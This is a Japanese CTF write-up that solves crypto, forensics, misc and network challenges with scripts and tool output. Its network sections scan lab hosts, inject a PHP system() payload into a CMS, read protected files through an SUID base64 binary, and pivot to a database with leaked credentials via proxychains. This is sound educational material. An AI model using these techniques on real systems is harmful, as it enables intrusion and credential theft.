2連覇! 前回の解説
- [Crypto] Information of Certificate
- [Crypto] Missing IV
- [Crypto] Short RSA Public Key
- [Crypto] Cryptographically Insecure PRNG
- [Forensics] NTFSシリーズ
- [Forensics] メモリシリーズ
- [Misc] Une Maison
- [Misc] String Obfuscation
- [Misc] Where Is the Legit Flag?
- [Misc] Utter Darkness
- [Misc] Serial Port Signal
- [Network] 10.10.10.21シリーズ
- [Network] FileExtract
- [Network] DO_tHe_best
- [Programming] Logistic Map
- [Programming] Randomness Extraction
- [Programming] XML Confectioner
- [Programming] Twisted Text
- [Trivia] The Original Name of AES
- [Trivia] CVE Record of Lowest Number
- [Trivia] MFA Factors
- [Web] Browsers Have Local Storage
- [Web] Are You Introspective?
- [Web] Insecure
- [Web] Variation
- [Web] Bruteforce
[Crypto] Information of Certificate
Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。
crtファイルが与えられるので設問に答える問題。
crtファイルはWindowsで開けるので開いて、
詳細→発行者からCNに書かれているものを答える。
[Crypto] Missing IV
NoIV.bin ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。
暗号鍵は 16 進数表記で 4285a7a182c286b5aa39609176d99c13 です。
ivが無くても鍵があれば最初のブロック以外は復元可能なので復元する。
encrypted = [ 0xd0f685a3f8efff522290b6cc7f75ad77, 0xfdd1b3c67bd3915973f77b7d79e6d6af, ... 0xd065dd34dbc9be5cba81b23e6f740497, 0x10b26415b5658acc55d1aed4c40a1101, ] key = 0x4285a7a182c286b5aa39609176d99c13 from Crypto.Util.number import * import Crypto.Cipher.AES as AES res = b"" for i in range(len(encrypted) - 1): enc = long_to_bytes(encrypted[-i]) iv = long_to_bytes(encrypted[-(i+1)]) while len(enc) < 16: enc = b'\x00' + enc while len(iv) < 16: iv = b'\x00' + iv dec = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv).decrypt(enc) print(dec) res = dec + res import shutil with open("out.bin","wb") as fp: fp.write(res)
先頭16バイトが復元できていないがざっくり見るとzipファイルっぽいので、試しにmetypeappli...から最初のPKまでの文字列を消して7zipで解凍するとエラーが出るが無理矢理解凍できた。
content.xml
にフラグが書いてある。
openofficeで作られた何かのoffice系ファイルだったようだ。
[Crypto] Short RSA Public Key
RSA-cipher.dat ファイルは RSA 公開鍵 pubkey.pem で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。
pubkey.pemに脆弱なポイントがありそうなのでRsaCtfToolでサクッと解析してみる。
どういう脆弱点を使ったか全くわからないが、出てきた。
$ python3 rsa-ctf-tool/RsaCtfTool.py --publickey pubkey.pem --private -----BEGIN RSA PRIVATE KEY----- MIGpAgEAAiEArYHJJkHAsYxO2lUcHXgoBE4+SnUZqskO5GkcSobc4uECAwEAAQIg Q662JbtOjLP76oV60zAUqydnBML/R6W4KwTl3bDHHnUCEADCvWD/YDii6I5RVygw NscCEgDkFoF3sGp+ldS/6XvoHjVRFwIPQRGaOXpjMjvWYeNncES9AhIAzJiPi/B4 ppH6JCfpWJ54TwMCDyUIRaIc5kbWqLK80JC92w== -----END RSA PRIVATE KEY-----
という訳でデコードする。
$ python3 rsa-ctf-tool/RsaCtfTool.py --publickey pubkey.pem --private > private.key $ openssl rsautl -decrypt -inkey private.key -in RSA-cipher.dat The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead. flag{■■■■■■■■■}
[Crypto] Cryptographically Insecure PRNG
PRNG.bin ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello World を x_0 = 4294967295 = 0xFFFFFFFF の初期値で暗号化した場合、16 進ダンプで b7 9a 93 93 cb 21 57 6f a3 ec 65 となります。
x_{n+1} = (233 x_n + 653) mod 4294967296
鍵(初期値= x_0)を推定し、PRNG.bin に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。
平文はASCII でエンコードされた英文であることが既知であることを利用する。
x_0を全探索して、数バイトデコードしたときにちゃんと英文になるようなものを選択することで鍵を復元する。
x_0を普通に全探索すると少し探索空間が広いので、先頭4文字の平文を全探索することで探索空間を減らしている。
import string ''' enc = [ [0xb7, 0x9a, 0x93, 0x93], [0xcb, 0x21, 0x57, 0x6f], [0xa3, 0xec, 0x65, 0x00] ]; ''' enc = [ [0xd1, 0x51, 0x20, 0xf4], [0xf3, 0xd8, 0x2e, 0x00], [0x01, 0x51, 0xea, 0x17], [0x2c, 0xca, 0x4c, 0x53], [0x1a, 0x18, 0x28, 0xdb], [0x4d, 0x01, 0x7c, 0x33], ] def gogo(x0): x = x0 ans = "" for i in range(6): a1 = x & 0xff a2 = (x // 0x100) & 0xff a3 = (x // 0x10000) & 0xff a4 = (x // 0x1000000) & 0xff b1 = a1 ^ enc[i][0] b2 = a2 ^ enc[i][1] b3 = a3 ^ enc[i][2] b4 = a4 ^ enc[i][3] if chr(b1) in string.printable and chr(b2) in string.printable and chr(b3) in string.printable and chr(b4) in string.printable: # ok ans += chr(b1) + chr(b2) + chr(b3) + chr(b4) else: return x = (233 * x + 653) % 4294967296 print(f"{x0} {ans}") for c1 in string.printable: for c2 in string.printable: for c3 in string.printable: for c4 in string.printable: a1 = ord(c1) ^ enc[0][0] a2 = ord(c2) ^ enc[0][1] a3 = ord(c3) ^ enc[0][2] a4 = ord(c4) ^ enc[0][3] x0 = a1 + 0x100 * a2 + 0x10000 * a3 + 0x1000000 * a4 gogo(x0)
このようなコードで探索してみると
2638296720 Against selection releas 3141613200 AgaOnstnselgcti9n rGlea} 2382902928 Ag(znsWEseW,ctx n )|le`3 2902996624 Ag(YnsW|seW]ctxUn )}le`$ 2198484624 Ag*wnseDse5?ctj`n kUleRH 3507107472 Ag*%nseBse5ActjBn kGleR 2957185678 _CcD8=%mQy>(qyTK(ZS5BCS=
のように出てきて、1番が正解のものに見える。
よって2638296720を鍵に(x_0に)してデコードしてるとフラグが得られる。
import string x0 = 2638296720 x = x0 ans = "" with open('PRNG.bin', 'rb') as fp: while True: bs = fp.read(4) if len(bs) < 4: break a1 = x & 0xff a2 = (x // 0x100) & 0xff a3 = (x // 0x10000) & 0xff a4 = (x // 0x1000000) & 0xff b1 = a1 ^ bs[0] b2 = a2 ^ bs[1] b3 = a3 ^ bs[2] b4 = a4 ^ bs[3] assert chr(b1) in string.printable and chr(b2) in string.printable and chr(b3) in string.printable and chr(b4) in string.printable ans += chr(b1) + chr(b2) + chr(b3) + chr(b4) x = (233 * x + 653) % 4294967296 print(ans)
[Forensics] NTFSシリーズ
ディスクイメージ NTFS.vhd が与えられて設問に答えていく。
[Forensics] NTFS Data Hide
NTFSDataHide フォルダに保存されている Sample.docx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。
OSCPだったかどこだったかで似たような手法を見た。
NTFSということでADSから持って来るんだろうと思って抜き出そうとしたが、
手元にメモってある手法がことごとく失敗し、かなり時間を使ってしまった。
vhdはWindowsだとマウントできるらしく、最終的にこのルートで解いた。
https://atmarkit.itmedia.co.jp/ait/articles/1702/03/news153.html
この記事を参考にvhdファイルをマウントして、コマンドプロンプトから後は抜き出す。
D:\NTFSDataHide>dir /r ドライブ D のボリューム ラベルは ボリューム です ボリューム シリアル番号は 9291-EE68 です D:\NTFSDataHide のディレクトリ 2023/12/15 12:54 <DIR> . 2023/12/15 13:05 45,446 Sample.pptx 120 Sample.pptx:script:$DATA 1 個のファイル 45,446 バイト 1 個のディレクトリ 56,500,224 バイトの空き領域 D:\NTFSDataHide>more < Sample.pptx:script:$DATA "[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ=='))"
base64デコードすればフラグ獲得。
[Forensics] NTFS File Delete
NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。
問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。
FTK ImagerでNTFS.vhdを開くと、NTFSFileDeleteに削除されたflag.txtを見つけることができ、フラグも得られた。
[Forensics] NTFS File Rename
NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。
問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。
NTFSの$系のどれかを解析すれば出てきそうなので、手当たり次第に見ていく。
$UsnJrnlからで情報が抜き出せた。
https://www.jpcert.or.jp/present/2018/JSAC2018_03_yamazaki.pdf
$J
を持ってきて、以下のように解析。
PS> MFTECmd.exe -f '$J' --csv out
これでcsvファイルが得られるので、中を見ると以下のようなログが残っている。
journaling_system_is_powerful.docx,.docx,43,3,40,1,,12048,2023-12-15 03:56:14.4378149,RenameOldName,Archive,12048,C:\Users\eric\root\nodefender\ctfs\20240223\boueisho2024\forensics-ntfs-data-hide\$J
これが変更前のファイル名。
[Forensics] メモリシリーズ
メモリダンプが与えられて、設問に答える問題。
色々見るとWindowsのメモリダンプだった。
[Forensics] HiddEN Variable
このメモリダンプが取得された環境にはフラグが隠されています。 memdump.raw を解析して、フラグを見つけ出してください。
問題タイトルを見ると環境変数を持ってくればよさそう。
$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.envars ... 9096 dllhost.exe 0x21711172010 FLAG BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS ...
CyberChefのmagicに通してみるとBase58だった。
戻すとフラグ。
[Forensics] My Secret
問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。
cmdlineに気になるログが残っている。
$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.cmdline ... 5516 7z.exe 7z x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\
このSecrets.7zは取得できるし、コマンドに解凍パスワードも残っている。
$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.filescan ... 0xe206bba6b1d0 \Users\vauser\Documents\Secrets.7z 216 ... $ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.dumpfiles --virtaddr 0xe206bba6b1d0 Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xe206bba6b1d0 Secrets.7z Error dumping file SharedCacheMap 0xe206bba6b1d0 Secrets.7z file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
取れたので7z x -p'Y0uCanF1ndTh1sPa$$w0rd' file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
で解凍するとSecrets.rtfが得られる。
stringsするとフラグ獲得。
[Misc] Une Maison
画像 maison.jpg の中にフラグが隠されています。探してみてください。
マンションを取った画像が与えられる。
画像を拡大して色々見てみると、真ん中にあるシマシマの模様の右側が
シマシマの上下に微妙に白がはみ出ていて後から張り付けたような見た目になっている。
1次元バーコードのCode128っぽいので、切り出してデコーダーに送るとフラグがもらえた。
[Misc] String Obfuscation
難読化された Python コード string_obfuscation.py ファイルからフラグを抽出してください。
以下のようなPythonコードが与えられる。
import sys if len(sys.argv) < 2: exit() KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en") FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51) if sys.argv[1] == KEY: print("flag{%s}" % FLAG)
フラグの関連する所を抜き出して実行するとフラグが得られる。
$ python3 Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51) >>> print("flag{%s}" % FLAG) flag{■■■■■■■■■■■}
[Misc] Where Is the Legit Flag?
fakeflag.py を実行しても偽のフラグが出力されてしまいます。難読化されたコードを解読し、本物のフラグを見つけ出してください。
以下のようなpythonファイルが与えられる。
exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52)) TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg==" TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36] exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))
2つのexec部分を展開すると以下のようになる。
import zlib, base64 TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg==" exec(zlib.decompress(base64.b64decode(TANAKA)))
TANAKA部分を展開して不要なコメントを削除して整形すると以下のようになる。
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\' SUZUKI = [74-0+0,87*1,int(48**1),int(8_3),int(32.00000),int('34'),76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],(2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),30+5,int(48/2*2),9*9] (''.join([SATO[i] for i in SUZUKI])) print("flog{8vje9wunbp984}")
素直に見えている方を答えると不正解。
(''.join([SATO[i] for i in SUZUKI]))
で生成される方を答えるとフラグだった。
[Misc] Utter Darkness
「青い空を見上げればいつもそこに白い猫」を立ち上げてステガノグラフィー解析してみる。
変換をポチポチしていると、「パレット ランダム配色 動的生成 1」にてフラグが浮かび上がってきた。
[Misc] Serial Port Signal
Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。
シリアル通信の記録を眺めると20マイクロ秒毎に0,1が記録されている。
最小4,5つくらいの0か1が連続しているので周波数を考えてサンプリングしてくる必要がありそうなので、
4,5つくらいで1つのビットを表現するくらいの周波数だろうと仮定して、5くらいでまとめて観測する。
res = '' cnt = 0 ans = '' pre = '#' with open('Tx.csv', 'r') as fp: for line in fp.readlines()[1:]: us, bit = line[:-1].split(',') if pre != bit: if pre == '#': pass else: print(pre, cnt) ans += pre * (cnt // 5) if 4 <= cnt % 5: ans += pre pre = bit cnt = 1 else: cnt += 1 print(ans)
その後、この01列をどう解釈しようか検索すると以下の記事を見つける。
https://toragi.cqpub.co.jp/Portals/0/backnumber/2005/05/p149-150.pdf
111111... スタートビット 0 データ7bytes パリティビット 1byte ストップビット 1 111111...
でいい感じに整理するとちゃんと構文だった感じになってきた。 パリティビットはデータの1が偶数なら0で奇数なら1になる。
111111111111111111111111111111111111111111111111111111 0 0001001 0 1 0 1010011 0 1 0 0011011 0 1 0 0011011 0 1 0 1111011 0 1 0 0000010 1 1 0 1010101 0 1 0 1000001 0 1 0 0100101 1 1 0 0010101 1 1 0 0101110 0 1 0 0000010 1 1 0 1100111 1 1 0 1001111 1 1 0 0111011 1 1 0 0010111 0 1 0 1101111 0 1 0 1001001 1 1 0 0101011 0 1 0 1010101 0 1 0 0101101 0 1 0 1100001 1 1 0 1010110 0 1 0 0010101 1 1 0 0010001 0 1 0 1011111 0 1 0 1011000 1 1 1111111111111111111111111111111 0 0001001 0 1 0 1010011 0 1 0 0011011 0 1 0 0011011 0 1 0
データ7bytesを取り出して逆順になっているので逆にして全部の先頭に0をつけてbinary to asciiすると
文字が浮かび上がってきた。
フラグがROT13になっているので戻すと正答。
https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c3ludHtJalVaQzVURH0
[Network] 10.10.10.21シリーズ
[Network] Discovery
あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。
対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。
IPアドレスしかもらっていないのでnmap -T4 -n -Pn -p- -v 10.10.10.21
でポートスキャンする。
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
問題で言われているWebサーバーは80/tcpのことで深堀すると
80/tcp open http nginx 1.25.3 |_http-title: Did not follow redirect to http://schatzsuche.ctf/ |_http-server-header: nginx/1.25.3
よって、/etc/hosts
に10.10.10.21 schatzsuche.ctf
を追加して進む。
curlで中を見てみると工事中のサイトと言われる。
$ curl http://schatzsuche.ctf/ <!DOCTYPE html> <html> <head><meta charset="UTF-8"/><title>Welcome to Our Site</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="style.css"></head><body > <div class="container"> <h1>Welcome to Our Site</h1> <p>This site is currently under construction.</p> <p>Please check back later for more information.</p> </div></body></html>
適当にディレクトリスキャンすると/cmsadmin
というのと/ftp
というのが得られる。
$ gobuster dir -u "http://schatzsuche.ctf/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100 -x .php,.html --no-error =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://schatzsuche.ctf/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.well-known/security.txt (Status: 200) [Size: 268] /cmsadmin (Status: 301) [Size: 162] [--> http://schatzsuche.ctf/webEdition/] /ftp (Status: 301) [Size: 162] [--> http://schatzsuche.ctf/ftp/] /index.html (Status: 200) [Size: 428] /index.html (Status: 200) [Size: 428] /robots.txt (Status: 200) [Size: 4700]
/ftp
へ行くとディレクトリリスティングされてきて、/ftp/credentials.txt
というのが得られる。
$ curl http://schatzsuche.ctf/ftp/credentials.txt [WebEdition account] webeditor verystrongpass2024
WebEditonのクレデンシャル情報。
/cmsadmin
を見てみるとWebEditionだったので使ってみるとログインできた。
http://schatzsuche.ctf/webEdition/ > Help > Info
に行くとバージョン情報が得られる。
Version: 9.2.2 Cardada (9.2.2.0, Revision: 14877) official release
developed further by: webEdition e.V.
これを使えば正答できる。
[Network] Exploit
クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS の脆弱性を調査し、機密情報(フラグ)を入手してください。
本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。
WebEditionにログインできる状態から何かできないか色々試すと、以下が使えた。
https://www.exploit-db.com/exploits/51661
ここに書いてある手順を再現すれば任意のPHPコードが動く。
リバースシェルを試したがうまくいかなかったので、コマンドをちまちま動かしていき、最終的に以下でフラグが得られる。
"><?php echo system("cat /var/www/flag.txt");?>
[Network] Pivot
問題「Exploit」より、クライアントに CMS に脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。
クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。
これに加えてSSHの認証情報が得られる。
前問「Discovery」で22/tcpがあったので、そこにSSH接続をしてみると接続できる。
色々探索するとls -la /usr/bin
で以下を見つける。
-rwsr-xr-x 1 root root 35328 Feb 8 2022 base64
base64にSUIDが付いているので何かできないか探すと以下で任意ファイルが抜けることが分かる。
https://gtfobins.github.io/gtfobins/base64/
/home/george/secrets.txt
という読めないファイルがあるので持ってきてみる。
george@5a0b3b2ca1a1:~$ LFILE=/home/george/secrets.txt george@5a0b3b2ca1a1:~$ base64 "$LFILE" | base64 --decode [MariaDB Access Information] db_user H4Rib0_90ldB4REN
MariaDBの認証情報が得られた。どこのDBだろう?
mysqlコマンドは入っていなかったので、とりあえず手元のKaliから呼べるようにポートフォワーディングする。
https://jpn.nec.com/cybersecurity/blog/210129/index.html
方法はここにある方法と同様。
色々やるとproxychains4 mysql -h 192.168.32.2 -u db_user -pH4Rib0_90ldB4REN
でアクセスできた。
接続先の/etc/hosts
に192.168.32.2 5a0b3b2ca1a1
とあったので接続先でMariaDBが動いていたようだ。
このDBを探索するとフラグが書いてある。
$ proxychains4 mysql -h 192.168.32.2 -u db_user -pH4Rib0_90ldB4REN [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 [proxychains] Strict chain ... 127.0.0.1:6666 ... 192.168.32.2:3306 ... OK Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 238 Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | flag5 | | information_schema | +--------------------+ 2 rows in set (0.009 sec) MariaDB [(none)]> use flag5; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [flag5]> show tables; +-----------------+ | Tables_in_flag5 | +-----------------+ | flag | +-----------------+ 1 row in set (0.016 sec) MariaDB [flag5]> select * from flag; +----+------------------------+ | id | flag | +----+------------------------+ | 1 | flag{■■■■■■■■■■■■■■} | +----+------------------------+ 1 row in set (0.008 sec)
[Network] FileExtract
添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。
FTP通信があるのでエクスポートするとs3cr3t.zipというファイルが抽出できた。
だが、パスワードがかかっている。
FTP通信を見るとログインの情報も得ることができた。
220 (vsFTPd 3.0.5) USER anonymouse 331 Please specify the password. PASS br2fWWJjjab3 230 Login successful. SYST 215 UNIX Type: L8 PORT 172,10,0,55,237,241 200 PORT command successful. Consider using PASV. LIST 150 Here comes the directory listing. 226 Directory send OK. TYPE I 200 Switching to Binary mode. PORT 172,10,0,55,174,135 200 PORT command successful. Consider using PASV. RETR s3cr3t.zip 150 Opening BINARY mode data connection for s3cr3t.zip (205 bytes). 226 Transfer complete. QUIT 221 Goodbye.
パスワードの使いまわしを考えてbr2fWWJjjab3
を解凍パスワードに使ってみると成功した。
fl@g
というファイルが含まれていてフラグが書いてある。
[Network] DO_tHe_best
IPアドレス「10.10.10.20」のターゲットシステムに隠された機密情報(フラグ)を見つけ出し、解答してください。
DoH?
使ったことが無かったので以下のサイトを参考にリクエストを送ってみる。
https://scrapbox.io/nwtgck/%E8%87%AA%E5%88%86%E3%81%A7DNS_over_HTTPS(DoH)%E3%81%AE%E3%83%AA%E3%82%AF%E3%82%A8%E3%82%B9%E3%83%88%E3%82%92%E5%87%BA%E3%81%97%E3%81%9F%E3%81%84-_1.1.1.1%E3%81%A8%E3%81%8BGoogle_Public_DNS%E3%81%A8%E3%81%8B
$ curl -H 'accept: application/dns-json' 'https://10.10.10.20/dns-query?name=example.com&type=AAAA' -k {"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"example.com.","type":28}],"Authority":[{"name":"example.com.","type":6,"TTL":86400,"Expires":"Mon, 26 Feb 2024 09:02:31 UTC","data":"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"}]}
ここからひたすらアイデアを出して最終的に接続先IPアドレスを逆引きすると新しいドメインがもらえた。
curl -H 'accept: application/dns-json' -k 'https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=ANY'
とやると
DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com
というドメインが得られる。
/etc/hosts
に10.10.10.20 DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com
を追加して
https://dsb-mt8zvrttcl97pdl4rrqxc3tbz-gu.example.com/
に行くとフラグがもらえる。
[Programming] Logistic Map
下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。
x_{n+1} = 3.99 x_n (1 - x_n)
言われている通りに実装する。
